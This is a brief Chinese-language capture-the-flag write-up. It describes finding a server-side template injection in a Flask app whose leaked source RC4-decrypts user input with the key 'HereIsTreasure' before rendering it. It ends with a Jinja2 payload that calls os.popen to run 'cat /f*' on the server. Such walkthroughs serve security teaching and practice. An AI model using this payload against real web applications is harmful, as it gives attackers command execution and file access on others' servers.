根据题目名字直接/secret?secret=
输入了几个数字,发现对应的回显
输入回显,返回了之前输入的数字
当输入的长度大于5好像,出现一个报错的界面,发现部分源码
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure")
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
看名字是RC4加密,而且给了密匙:HereIsTreasure
直接上网找对应的加密脚本
先加密{{7*7}},返回49,存在ssti
然后加密exp:
{{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}